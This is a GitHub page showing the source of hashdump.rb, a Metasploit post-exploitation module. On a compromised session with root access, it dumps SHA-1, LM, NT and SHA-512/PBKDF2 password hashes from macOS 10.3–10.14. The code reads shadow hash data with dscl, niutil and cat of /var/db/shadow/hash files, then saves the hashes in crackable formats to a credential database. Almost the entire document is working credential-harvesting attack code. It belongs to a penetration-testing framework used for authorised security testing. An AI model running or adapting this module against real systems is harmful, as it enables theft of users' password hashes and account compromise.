-
Notifications
You must be signed in to change notification settings - Fork 14k
/
hashdump.rb
232 lines (202 loc) · 7.57 KB
/
hashdump.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rexml/document'
class MetasploitModule < Msf::Post
# set of accounts to ignore while pilfering data
# OSX_IGNORE_ACCOUNTS = ["Shared", ".localized"]
include Msf::Post::File
include Msf::Post::OSX::Priv
include Msf::Post::OSX::System
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OS X Gather Mac OS X Password Hash Collector',
'Description' => %q{
This module dumps SHA-1, LM, NT, and SHA-512 Hashes on OSX. Supports
versions 10.3 to 10.14.
},
'License' => MSF_LICENSE,
'Author' => [
'Carlos Perez <carlos_perez[at]darkoperator.com>',
'hammackj <jacob.hammack[at]hammackj.com>',
'joev'
],
'Platform' => [ 'osx' ],
'SessionTypes' => %w[shell meterpreter]
)
)
register_options([
OptRegexp.new('MATCHUSER', [
false,
'Only attempt to grab hashes for users whose name matches this regex'
])
])
end
# Run Method for when run command is issued
def run
unless is_root?
fail_with(Failure::BadConfig, 'Insufficient Privileges: must be running as root to dump the hashes')
end
# iterate over all users
get_nonsystem_accounts.each do |user_info|
user = user_info['name']
next if datastore['MATCHUSER'].present? && datastore['MATCHUSER'] !~ (user)
print_status "Attempting to grab shadow for user #{user}..."
if gt_lion? # 10.8+
# pull the shadow from dscl
shadow_bytes = grab_shadow_blob(user)
next if shadow_bytes.blank?
# on 10.8+ ShadowHashData stores a binary plist inside of the user.plist
# Here we pull out the binary plist bytes and use built-in plutil to convert to xml
plist_bytes = shadow_bytes.split('').each_slice(2).map { |s| "\\x#{s[0]}#{s[1]}" }.join
# encode the bytes as \x hex string, print using bash's echo, and pass to plutil
shadow_plist = cmd_exec("/bin/bash -c 'echo -ne \"#{plist_bytes}\" | plutil -convert xml1 - -o -'")
# read the plaintext xml
shadow_xml = REXML::Document.new(shadow_plist)
# parse out the different parts of sha512pbkdf2
dict = shadow_xml.elements[1].elements[1].elements[2]
entropy = Rex::Text.to_hex(dict.elements[2].text.gsub(/\s+/, '').unpack('m*')[0], '')
iterations = dict.elements[4].text.gsub(/\s+/, '')
salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '')
# PBKDF2 stored in <iterations, salt, entropy> format
decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}"
report_hash('SHA-512 PBKDF2', decoded_hash, user)
elsif lion? # 10.7
# pull the shadow from dscl
shadow_bytes = grab_shadow_blob(user)
next if shadow_bytes.blank?
# on 10.7 the ShadowHashData is stored in plaintext
hash_decoded = shadow_bytes.downcase
# Check if NT HASH is present
if hash_decoded =~ /4f1010/
report_hash('NT', hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user)
end
# slice out the sha512 hash + salt
# original regex left for historical purposes. During testing it was discovered that
# 4f110200 was also a valid end. Instead of looking for the end, since its a hash (known
# length) we can just set the length
# sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0]
sha512 = hash_decoded.scan(/^\w*4f1044(\w{136})/)[0][0]
report_hash('SHA-512', sha512, user)
else # 10.6 and below
# On 10.6 and below, SHA-1 is used for encryption
guid = if gte_leopard?
cmd_exec("/usr/bin/dscl localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp
elsif lte_tiger?
cmd_exec("/usr/bin/niutil -readprop . /users/#{user} generateduid").chomp
end
# Extract the hashes
sha1_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c169-216").chomp
nt_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c1-32").chomp
lm_hash = cmd_exec("cat /var/db/shadow/hash/#{guid} | cut -c33-64").chomp
# Check that we have the hashes and save them
if sha1_hash !~ /0000000000000000000000000/
report_hash('SHA-1', sha1_hash, user)
end
if nt_hash !~ /000000000000000/
report_hash('NT', nt_hash, user)
end
if lm_hash !~ /0000000000000/
report_hash('LM', lm_hash, user)
end
end
end
end
private
# @return [Bool] system version is at least 10.5
def gte_leopard?
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 5
end
# @return [Bool] system version is at least 10.8
def gt_lion?
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i >= 8
end
# @return [String] hostname
def host
session.session_host
end
# @return [Bool] system version is 10.7
def lion?
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i == 7
end
# @return [Bool] system version is 10.4 or lower
def lte_tiger?
ver_num =~ /10\.(\d+)/ and ::Regexp.last_match(1).to_i <= 4
end
# parse the dslocal plist in lion
def read_ds_xml_plist(plist_content)
doc = REXML::Document.new(plist_content)
keys = []
doc.elements.each('plist/dict/key') { |n| keys << n.text }
fields = {}
i = 0
doc.elements.each('plist/dict/array') do |element|
data = []
fields[keys[i]] = data
element.each_element('*') do |thing|
data_set = thing.text
if data_set
data << data_set.gsub("\n\t\t", '')
else
data << data_set
end
end
i += 1
end
return fields
end
# reports the hash info to metasploit backend
def report_hash(type, hash, user)
return unless hash.present?
print_good("#{type}:#{user}:#{hash}")
case type
when 'NT'
private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}"
private_type = :ntlm_hash
jtr_format = 'ntlm'
when 'LM'
private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}"
private_type = :ntlm_hash
jtr_format = 'lm'
when 'SHA-512 PBKDF2'
private_data = hash
private_type = :nonreplayable_hash
jtr_format = 'PBKDF2-HMAC-SHA512'
when 'SHA-512'
private_data = hash
private_type = :nonreplayable_hash
jtr_format = 'xsha512'
when 'SHA-1'
private_data = hash
private_type = :nonreplayable_hash
jtr_format = 'xsha'
end
create_credential(
jtr_format: jtr_format,
workspace_id: myworkspace_id,
origin_type: :session,
session_id: session_db_id,
post_reference_name: refname,
username: user,
private_data: private_data,
private_type: private_type
)
print_status('Credential saved in database.')
end
# @return [String] containing blob for ShadowHashData in user's plist
# @return [nil] if shadow is invalid
def grab_shadow_blob(user)
shadow_bytes = cmd_exec("dscl . read /Users/#{user} dsAttrTypeNative:ShadowHashData").gsub(/\s+/, '')
return nil unless shadow_bytes.start_with? 'dsAttrTypeNative:ShadowHashData:'
# strip the other bytes
shadow_bytes.sub!(/^dsAttrTypeNative:ShadowHashData:/, '')
end
# @return [String] version string (e.g. 10.8.5)
def ver_num
@product_version ||= get_sysinfo['ProductVersion']
end
end